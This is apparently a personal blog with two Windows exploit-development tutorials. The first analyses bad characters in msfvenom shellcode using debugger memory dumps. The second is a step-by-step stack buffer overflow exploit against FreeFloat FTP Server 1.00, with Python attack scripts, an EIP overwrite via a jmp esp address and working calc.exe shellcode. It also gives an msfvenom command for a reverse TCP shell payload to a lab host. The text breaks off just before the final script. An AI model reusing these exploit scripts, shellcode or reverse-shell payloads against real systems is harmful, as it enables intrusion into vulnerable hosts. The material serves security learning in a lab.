Thursday, January 25, 2018

Beginning Windows Exploit Development - Understanding Bad Character Analysis

One of the things that pisses me off as I'm trying to expand my knowledge on exploit development was after I have everything "working" and then my shellcode would not execute. I mean I have my shellcode, I have my jump to address, etc., but my shellcode does not execute.

One of the things I learned here is that "bad characters" can have a significant impact on the success of your shellcode.

As a result for this post, I'm expanding my knowledge about bad character analysis.

At this point I'm looking to execute "calc.exe". So first up, run msfvenom without any bad characters command line option.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~# msfvenom --platform Windows --arch x86 --payload windows/exec CMD="calc.exe" --smallest --encoder x86/shikata_ga_nai --format c --iterations 1 

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] = 
"\xd9\xc1\xd9\x74\x24\xf4\xbf\x89\xfa\x6f\xea\x5b\x33\xc9\xb1"
"\x31\x31\x7b\x18\x03\x7b\x18\x83\xc3\x8d\x18\x9a\x16\x65\x5e"
"\x65\xe7\x75\x3f\xef\x02\x44\x7f\x8b\x47\xf6\x4f\xdf\x0a\xfa"
"\x24\x8d\xbe\x89\x49\x1a\xb0\x3a\xe7\x7c\xff\xbb\x54\xbc\x9e"
"\x3f\xa7\x91\x40\x7e\x68\xe4\x81\x47\x95\x05\xd3\x10\xd1\xb8"
"\xc4\x15\xaf\x00\x6e\x65\x21\x01\x93\x3d\x40\x20\x02\x36\x1b"
"\xe2\xa4\x9b\x17\xab\xbe\xf8\x12\x65\x34\xca\xe9\x74\x9c\x03"
"\x11\xda\xe1\xac\xe0\x22\x25\x0a\x1b\x51\x5f\x69\xa6\x62\xa4"
"\x10\x7c\xe6\x3f\xb2\xf7\x50\xe4\x43\xdb\x07\x6f\x4f\x90\x4c"
"\x37\x53\x27\x80\x43\x6f\xac\x27\x84\xe6\xf6\x03\x00\xa3\xad"
"\x2a\x11\x09\x03\x52\x41\xf2\xfc\xf6\x09\x1e\xe8\x8a\x53\x74"
"\xef\x19\xee\x3a\xef\x21\xf1\x6a\x98\x10\x7a\xe5\xdf\xac\xa9"
"\x42\x2f\xe7\xf0\xe2\xb8\xae\x60\xb7\xa4\x50\x5f\xfb\xd0\xd2"
"\x6a\x83\x26\xca\x1e\x86\x63\x4c\xf2\xfa\xfc\x39\xf4\xa9\xfd"
"\x6b\x97\x2c\x6e\xf7\x76\xcb\x16\x92\x86"

Looking at this in memory we see:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0:000> d 0012fd64 l dc
0012fd64  cc cc cc cc 10 01 b1 f1-90 90 90 90 90 d9 c1 d9  ................
0012fd74  74 24 f4 bf 89 fa 6f ea-5b 33 c9 b1 31 31 7b 18  t$....o.[3..11{.
0012fd84  03 7b 18 83 c3 8d 18 9a-16 65 5e 65 e7 75 3f ef  .{.......e^e.u?.
0012fd94  02 44 7f 8b 47 f6 4f df-3c 07 00 00 ec fd 12 00  .D..G.O.<.......
0012fda4  52 89 49 00 74 c4 4a 00-88 fd 12 00 08 00 00 00  R.I.t.J.........
0012fdb4  00 00 aa 00 ec fd 12 00-02 00 00 00 00 00 00 00  ................
0012fdc4  00 00 00 00 00 00 00 00-5d ae 49 00 4c fe 12 00  ........].I.L...
0012fdd4  24 0a aa 00 00 00 00 00-00 00 00 00 00 00 00 00  $...............
0012fde4  4c fe 12 00 ba ca 48 00-c1 ca 48 00 dc 93 4a 00  L.....H...H...J.
0012fdf4  02 00 00 00 d0 fe 12 00-00 00 00 00 20 fe 12 00  ............ ...
0012fe04  82 cd 48 00 00 00 00 00-00 00 00 00 00 00 00 00  ..H.............
0012fe14  20 d6 aa 00 80 ec aa 00-c8 fe 12 00 71 fb 41 00   ...........q.A.
0012fe24  48 c1 aa 00 08 d4 49 00-08 1f 14 00 78 28 a8 00  H.....I.....x(..
0012fe34  00 00 00 00 00 00 00 00-00 00 00 00              ............

From above we can already see "00"s. This is already a no no. Additionally we see that while '\x0a' can be found in the 3rd row of the raw shellcode in the script but it is not in the memory dump output. At this point we have two bad characters "\x00" and "\x0a"

Running msfvenom with the bad characters option, we get below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~# msfvenom --platform Windows --arch x86 --payload windows/exec CMD="calc.exe" --smallest --encoder x86/shikata_ga_nai --format c --iterations 1 --bad-chars '\x00\x0a'
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] = 
"\xba\xb3\x4e\x5e\xa8\xdb\xdd\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x31\x31\x50\x13\x83\xe8\xfc\x03\x50\xbc\xac\xab\x54\x2a\xb2"
"\x54\xa5\xaa\xd3\xdd\x40\x9b\xd3\xba\x01\x8b\xe3\xc9\x44\x27"
"\x8f\x9c\x7c\xbc\xfd\x08\x72\x75\x4b\x6f\xbd\x86\xe0\x53\xdc"
"\x04\xfb\x87\x3e\x35\x34\xda\x3f\x72\x29\x17\x6d\x2b\x25\x8a"
"\x82\x58\x73\x17\x28\x12\x95\x1f\xcd\xe2\x94\x0e\x40\x79\xcf"
"\x90\x62\xae\x7b\x99\x7c\xb3\x46\x53\xf6\x07\x3c\x62\xde\x56"
"\xbd\xc9\x1f\x57\x4c\x13\x67\x5f\xaf\x66\x91\x9c\x52\x71\x66"
"\xdf\x88\xf4\x7d\x47\x5a\xae\x59\x76\x8f\x29\x29\x74\x64\x3d"
"\x75\x98\x7b\x92\x0d\xa4\xf0\x15\xc2\x2d\x42\x32\xc6\x76\x10"
"\x5b\x5f\xd2\xf7\x64\xbf\xbd\xa8\xc0\xcb\x53\xbc\x78\x96\x39"
"\x43\x0e\xac\x0f\x43\x10\xaf\x3f\x2c\x21\x24\xd0\x2b\xbe\xef"
"\x95\xc4\xf4\xb2\xbf\x4c\x51\x27\x82\x10\x62\x9d\xc0\x2c\xe1"
"\x14\xb8\xca\xf9\x5c\xbd\x97\xbd\x8d\xcf\x88\x2b\xb2\x7c\xa8"
"\x79\xd1\xe3\x3a\xe1\x38\x86\xba\x80\x44";

Looking at the dump in memory again:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0:000> d 0012fd64 l dc
0012fd64  cc cc cc cc 10 01 b1 f1-90 90 90 90 90 ba b3 4e  ...............N
0012fd74  5e a8 db dd d9 74 24 f4-58 2b c9 b1 31 31 50 13  ^....t$.X+..11P.
0012fd84  83 e8 fc 03 50 bc ac ab-54 2a b2 54 a5 aa d3 dd  ....P...T*.T....
0012fd94  40 9b d3 ba 01 8b e3 c9-44 27 8f 9c 7c bc fd 08  @.......D'..|...
0012fda4  72 75 4b 6f bd 86 e0 53-dc 04 fb 87 3e 35 34 da  ruKo...S....>54.
0012fdb4  3f 72 29 17 6d 2b 25 8a-82 58 73 17 28 12 95 1f  ?r).m+%..Xs.(...
0012fdc4  cd e2 94 0e 40 79 cf 90-62 ae 7b 99 7c b3 46 53  ....@y..b.{.|.FS
0012fdd4  f6 07 3c 62 de 56 bd c9-1f 57 4c 13 67 5f af 66  ..<b.V...WL.g_.f
0012fde4  91 9c 52 71 66 df 88 f4-7d 47 5a ae 59 76 8f 29  ..Rqf...}GZ.Yv.)
0012fdf4  29 74 64 3d 75 98 7b 92-00 00 00 00 20 fe 12 00  )td=u.{..... ...
0012fe04  82 cd 48 00 00 00 00 00-00 00 00 00 00 00 00 00  ..H.............
0012fe14  20 d6 aa 00 80 ec aa 00-c8 fe 12 00 71 fb 41 00   ...........q.A.
0012fe24  48 c1 aa 00 08 d4 49 00-08 1f 14 00 78 28 a8 00  H.....I.....x(..
0012fe34  00 00 00 00 00 00 00 00-00 00 00 00              ............

At this point we don't see the "\x0d" which is in line 6 of the original shellcode in the memory dump. Time to regenerate the shellcode. This time we have "\x00", "\x0a" and "\x0d" as bad characters.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~# msfvenom --platform Windows --arch x86 --payload windows/exec CMD="calc.exe" --smallest --encoder x86/shikata_ga_nai --format c --iterations 1 --bad-chars '\x00\x0a\x0d'
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] = 
"\xdb\xd6\xbd\x45\xe1\xbe\xfa\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x31\x83\xe8\xfc\x31\x68\x14\x03\x68\x51\x03\x4b\x06\xb1\x41"
"\xb4\xf7\x41\x26\x3c\x12\x70\x66\x5a\x56\x22\x56\x28\x3a\xce"
"\x1d\x7c\xaf\x45\x53\xa9\xc0\xee\xde\x8f\xef\xef\x73\xf3\x6e"
"\x73\x8e\x20\x51\x4a\x41\x35\x90\x8b\xbc\xb4\xc0\x44\xca\x6b"
"\xf5\xe1\x86\xb7\x7e\xb9\x07\xb0\x63\x09\x29\x91\x35\x02\x70"
"\x31\xb7\xc7\x08\x78\xaf\x04\x34\x32\x44\xfe\xc2\xc5\x8c\xcf"
"\x2b\x69\xf1\xe0\xd9\x73\x35\xc6\x01\x06\x4f\x35\xbf\x11\x94"
"\x44\x1b\x97\x0f\xee\xe8\x0f\xf4\x0f\x3c\xc9\x7f\x03\x89\x9d"
"\xd8\x07\x0c\x71\x53\x33\x85\x74\xb4\xb2\xdd\x52\x10\x9f\x86"
"\xfb\x01\x45\x68\x03\x51\x26\xd5\xa1\x19\xca\x02\xd8\x43\x80"
"\xd5\x6e\xfe\xe6\xd6\x70\x01\x56\xbf\x41\x8a\x39\xb8\x5d\x59"
"\x7e\x36\x14\xc0\xd6\xdf\xf1\x90\x6b\x82\x01\x4f\xaf\xbb\x81"
"\x7a\x4f\x38\x99\x0e\x4a\x04\x1d\xe2\x26\x15\xc8\x04\x95\x16"
"\xd9\x66\x78\x85\x81\x46\x1f\x2d\x23\x97"

Looking at the memory dump:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
0:000> d 0012fd64 l ef
0012fd64  cc cc cc cc 10 01 b1 f1-90 90 90 90 90 db d6 bd  ................
0012fd74  45 e1 be fa d9 74 24 f4-58 2b c9 b1 31 83 e8 fc  E....t$.X+..1...
0012fd84  31 68 14 03 68 51 03 4b-06 b1 41 b4 f7 41 26 3c  1h..hQ.K..A..A&<
0012fd94  12 70 66 5a 56 22 56 28-3a ce 1d 7c af 45 53 a9  .pfZV"V(:..|.ES.
0012fda4  c0 ee de 8f ef ef 73 f3-6e 73 8e 20 51 4a 41 35  ......s.ns. QJA5
0012fdb4  90 8b bc b4 c0 44 ca 6b-f5 e1 86 b7 7e b9 07 b0  .....D.k....~...
0012fdc4  63 20 29 91 35 02 70 31-b7 c7 08 78 af 04 34 32  c ).5.p1...x..42
0012fdd4  44 fe c2 c5 8c cf 2b 69-f1 e0 d9 73 35 c6 01 06  D.....+i...s5...
0012fde4  4f 35 bf 11 94 44 1b 97-0f ee e8 0f f4 0f 3c c9  O5...D........<.
0012fdf4  7f 03 89 9d d8 07 0c 71-53 33 85 74 b4 b2 dd 52  .......qS3.t...R
0012fe04  10 9f 86 fb 01 45 68 03-51 26 d5 a1 19 ca 02 d8  .....Eh.Q&......
0012fe14  43 80 d5 6e fe e6 d6 70-01 56 bf 41 8a 39 b8 5d  C..n...p.V.A.9.]
0012fe24  59 7e 36 14 c0 d6 df f1-90 6b 82 01 4f af bb 81  Y~6......k..O...
0012fe34  7a 4f 38 99 0e 4a 04 1d-e2 26 15 c8 04 95 16 d9  zO8..J...&......
0012fe44  66 78 85 81 46 1f 2d 23-97 90 90 90 90 90 90     fx..F.-#.......


At this point it looks like we have a clean shellcode.

References:
http://www.primalsecurity.net/0x7-exploit-tutorial-bad-character-analysis/

Beginning Windows Exploit Development - Stack Based (Remote) Buffer Overflows

This series of posts are based on me looking at expanding my knowledge on Windows Exploit Development. This post is based on understanding Stack Based (Remote) Buffer Overflows from the Windows perspective and exploiting same.

Before we get started, I must state clearly that this information is based on the guidance provided from fuzzysecurity.com website as shown in the references section.

For some folks reading my material may be easier, for others reading the material from Fuzzy Security will be easier. Whichever you choose, please note that this is all based on the guidance provided by those folks and thus nothing here is my original work.

Now that the attribution stuff is out of the way, let's get going.

Like the blog I'm using the vulnerable app FreeFloat FTP Server (Version 1.00)

The claim is the app is vulnerable, so the first thing to figure out is where it crashed.

Using the Python code below we can test the vulnerability with the first 1000 bytes

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket

junk_data = "A" * 10000



def exploit_code():
 # setup network connection
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))

 # make connection via FTP
 mySocket.recv(1024)
 mySocket.send('USER anonymous\r\n')
 mySocket.recv(1023)
 mySocket.send('PASS securitynik@securitynik.local\r\n')
 mySocket.recv(1024)
 mySocket.send('MKD ' + junk_data + '\r\n')
 mySocket.recv(1024)
 mySocket.send('QUIT\r\n')
 mySocket.close()

if __name__ == '__main__':
 exploit_code()

After starting up the FTP server and attaching immunity debugger to it, then sending the above code we get:




















From what we can see above, the program crashed and we can see our "A"s are part of both the ESP and EDI Registers.

Looking at the stack, we also see "A"s are there.

In trying to determine whether the ESP or EDI has more of the As, I first look at the memory area and calculated where the "A"s start for ESP and where it ends. I then look where the "A"s started for EDI and where does it end.

Finding the size of ESP we see:
00B3FF0C - 00B3FC2C = 2E0 (736)

Finding the size of EDI we see:
003B1BFB - 003B1AFB = 100 (256)

From above we an see ESP has the most space for our exploit code. Let's now look at this to see how we can maximize the ESP

Next up is time for us to find our return return pointer so that we can overwrite it and ultimately point to our exploited code which we will place on the stack.

To find this pattern, let's leverage Metasploit's "pattern_create.rb"
./pattern_create.rb --length 1000

Taking the pattern and modifying the script we now have:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket

junk_data = "A" * 1000

def exploit_code():
 # Pattern
 shellcode = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'


 # setup network connection
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))


 # make connection via FTP
 mySocket.recv(1024)
 mySocket.send('USER anonymous\r\n')
 mySocket.recv(1023)
 mySocket.send('PASS securitynik@securitynik.local\r\n')
 mySocket.recv(1024)
 mySocket.send('MKD ' + shellcode + '\r\n')
 mySocket.recv(1024)
 mySocket.send('QUIT\r\n')
 mySocket.close()

if __name__ == '__main__':
 exploit_code()

Once again we attach Immunity to the FTP Server and send the above code. This produces the following:




















Looking at the EIP register above, we see the pattern "69413269". In considering endianess, more specifically, little endian, this multi-byte value needs to be reorder to be "69324169" which is "i2Ai" in ASCII.

When the value "i2Ai" is passed back to Metasploit's "pattern_offset.rb", we get:
./pattern_offset.rb --query i2Ai
[*] Exact match at offset 247

Looks like it takes 247 bytes to get to our EIP. Let's seek Immunity's mona.py plugin help to verify this. We will leverage mona's "findmsp" to look for the Metasploit's pattern.

Looking at the "findmsp" output we see:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
================================================================================
  Output generated by mona.py v2.0, rev 577 - Immunity Debugger
  Corelan Team - https://www.corelan.be
================================================================================
  OS : xp, release 5.1.2600
  Process being debugged : FTPServer (pid 544)
  Current mona arguments: findmsp
================================================================================
  2018-01-10 00:34:09
================================================================================
........ < truncated for brevity > ............
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x00b3fb29 (length 1000 bytes)
    Cyclic pattern (normal) found at 0x003b16f9 (length 1000 bytes)
    EIP contains normal pattern : 0x69413269 (offset 247)
    ESP (0x00b3fc2c) points at offset 259 in normal pattern (length 741)
    EDI (0x003b1afb) points at offset 743 in normal pattern (length 257)
........ < truncated for brevity > ............

So we see Mona also reports that our pattern 0x69413269 is at offset 247

Let's now rework our code to verify we can overwrite the EIP pointer with our own value.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket

junk_data = "A" * 1000

def exploit_code():
 # Pattern
 shellcode = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'


 # setup network connection
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))


 # make connection via FTP
 mySocket.recv(1024)
 mySocket.send('USER anonymous\r\n')
 mySocket.recv(1023)
 mySocket.send('PASS securitynik@securitynik.local\r\n')
 mySocket.recv(1024)
 mySocket.send('MKD ' + 'A'*247 + 'BBBB' + 'C'*749 + '\r\n')
 mySocket.recv(1024)
 mySocket.send('QUIT\r\n')
 mySocket.close()

if __name__ == '__main__':
 exploit_code()

When the code is sent to the FTP Server, we see the following in Immunity




































As we can see from above, the EIP has been overwritten with "BBBB" (42424242) while our Cs can be found on the stack where our ESP register currently points along with in the EDI register.

Now its time for us to find a way to "jmp" to the ESP register.

Leveraging Mona once again. This time we use her "jmp -r esp" option. This will search for points which will allow us to jmp to the stack.












Picking on the first address "7C9D30D7", do remember this value is Little Endian. As a result, we need to change the byte order to "d7309d7c".

Modifying the code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket

junk_data = "A" * 1000

def exploit_code():
 # Pattern
 shellcode = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'


 # setup network connection
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))


 # make connection via FTP
 mySocket.recv(1024)
 mySocket.send('USER anonymous\r\n')
 mySocket.recv(1023)
 mySocket.send('PASS securitynik@securitynik.local\r\n')
 mySocket.recv(1024)
 mySocket.send('MKD ' + 'A'*247 + '\xd7\x30\x9d\x7c' + 'C'*749 + '\r\n')
 mySocket.recv(1024)
 mySocket.send('QUIT\r\n')
 mySocket.close()

if __name__ == '__main__':
 exploit_code()

Then attaching to the FTP Server process with immunity.

Similar to Fuzzy Security's recommendation, I added a breakpoint at the address "7C9D30D7" which points to "jmp esp" then initiate communication again with the FTP server, we get the following:




















As we can see above, our EIP points to the "jmp esp" which basically sends out to the stack.

Time to put our shellcode on the stack.

first up, let's leverage Metasploit's MSFVenom to generate our payload for launching "calc.exe". If this works, then we can look at gaining access via shell.

1
msfvenom --platform Windows --arch x86 --payload windows/exec CMD="calc.exe" --smallest --encoder x86/shikata_ga_nai --bad-chars '\x00\x0A\x0D' --format c --iterations 1

Putting our generated shellcode into our script we get:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import socket

junk_data = "A" * 1000

def exploit_code():
 # Shellcode to launch calc.exe
 shellcode = (
"\xb8\xfa\x7b\xe6\xc9\xda\xdf\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x31\x31\x43\x13\x03\x43\x13\x83\xc3\xfe\x99\x13\x35\x16\xdf"
"\xdc\xc6\xe6\x80\x55\x23\xd7\x80\x02\x27\x47\x31\x40\x65\x6b"
"\xba\x04\x9e\xf8\xce\x80\x91\x49\x64\xf7\x9c\x4a\xd5\xcb\xbf"
"\xc8\x24\x18\x60\xf1\xe6\x6d\x61\x36\x1a\x9f\x33\xef\x50\x32"
"\xa4\x84\x2d\x8f\x4f\xd6\xa0\x97\xac\xae\xc3\xb6\x62\xa5\x9d"
"\x18\x84\x6a\x96\x10\x9e\x6f\x93\xeb\x15\x5b\x6f\xea\xff\x92"
"\x90\x41\x3e\x1b\x63\x9b\x06\x9b\x9c\xee\x7e\xd8\x21\xe9\x44"
"\xa3\xfd\x7c\x5f\x03\x75\x26\xbb\xb2\x5a\xb1\x48\xb8\x17\xb5"
"\x17\xdc\xa6\x1a\x2c\xd8\x23\x9d\xe3\x69\x77\xba\x27\x32\x23"
"\xa3\x7e\x9e\x82\xdc\x61\x41\x7a\x79\xe9\x6f\x6f\xf0\xb0\xe5"
"\x6e\x86\xce\x4b\x70\x98\xd0\xfb\x19\xa9\x5b\x94\x5e\x36\x8e"
"\xd1\x91\x7c\x93\x73\x3a\xd9\x41\xc6\x27\xda\xbf\x04\x5e\x59"
"\x4a\xf4\xa5\x41\x3f\xf1\xe2\xc5\xd3\x8b\x7b\xa0\xd3\x38\x7b"
"\xe1\xb7\xdf\xef\x69\x16\x7a\x88\x08\x66")

 exploitCode = '\x90' * 20 + shellcode

 # setup network connection
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))


 # make connection via FTP
 mySocket.recv(1024)
 mySocket.send('USER anonymous\r\n')
 mySocket.recv(1023)
 mySocket.send('PASS securitynik@securitynik.local\r\n')
 mySocket.recv(1024)
 mySocket.send('MKD ' + 'A'*247 + '\xd7\x30\x9d\x7c' +  exploitCode + 'C'*(749-len(exploitCode)) + '\r\n')
 mySocket.recv(1024)
 mySocket.send('QUIT\r\n')
 mySocket.close()

if __name__ == '__main__':
 exploit_code()

Looking at the tasks running before executing our script we see:

1
2
C:\>tasklist | findstr "FTPServer" & tasklist | findstr "calc.exe"
FTPServer.exe               1984 Console                 0      2,296 K

Once our script is executed we get:

1
2
3
C:\>tasklist | findstr "FTPServer" & tasklist | findstr "calc.exe"
FTPServer.exe                124 Console                 0      2,292 K
calc.exe                     560 Console                 0      2,560 K

Now that we know we were able to execute "calc.exe", time to gain access via a shell and finalizing our code.

Leveraging Metasploit MSFVenom again to setup a reverse tcp shell connection to our Metasploit handler.:

1
msfvenom --platform Windows --arch x86 --payload windows/shell/reverse_tcp LHOST=10.0.0.101 LPORT=4444 --smallest --encoder x86/shikata_ga_nai --bad-chars '\x00\x0A\x0D' --format c --iterations 1

After adding the shellcode to our script, our final script now look like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
